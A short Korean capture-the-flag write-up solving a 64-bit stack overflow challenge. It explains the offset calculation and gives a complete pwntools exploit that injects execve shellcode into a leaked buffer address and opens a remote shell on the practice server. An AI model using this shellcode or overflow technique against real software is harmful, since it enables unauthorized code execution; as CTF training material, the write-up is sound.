문제를 다운받고, ida 로 열어보면,
문자열을 출력하고, buf 의 주소를 알려주고, buf 에 gets 로 입력을 받는다.
요로케
별다른 메모리보호기법이 적용되어있지 않다.
함수목록에는 별다른함수가 없고, 버퍼의 주소를 알기때문에,
버퍼에 쉘코드를 작성한뒤, DUMMY 를 채워넣어 ret address 를 조작해보자
[ 1. 쉘코드 ]
이 블로그에서 64bit 환경 쉘코드를 찾을 수 있었다.
[ 2. ret address ]
buffer = [rbp-0x6d30]
낮은주소 [rbp-0x6d30] [rbp] [ret address] 높은주소
버퍼시작주소 + 0x6d30 + 8 (rbp크기) = ret address
이제 payload 를 작성해보자
쉘코드의 크기는 27byte 이므로 DUMMY 값의 크기는
0x6d30-27 = 0x6d15 + 8 (rbp크기)
payload = 쉘코드 + 0x6d15 + 8 + buf주소
from pwn import *
r=remote("ctf.j0n9hyun.xyz",3005)
r.recvuntil(": ")
bufaddress=int(r.recvline().strip(),16)
shellcode="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
payload=""
payload+=shellcode
payload+='A'*0x6d15
payload+='B'*8
payload+=p64(bufaddress)
r.sendline(payload)
r.interactive()
cat flag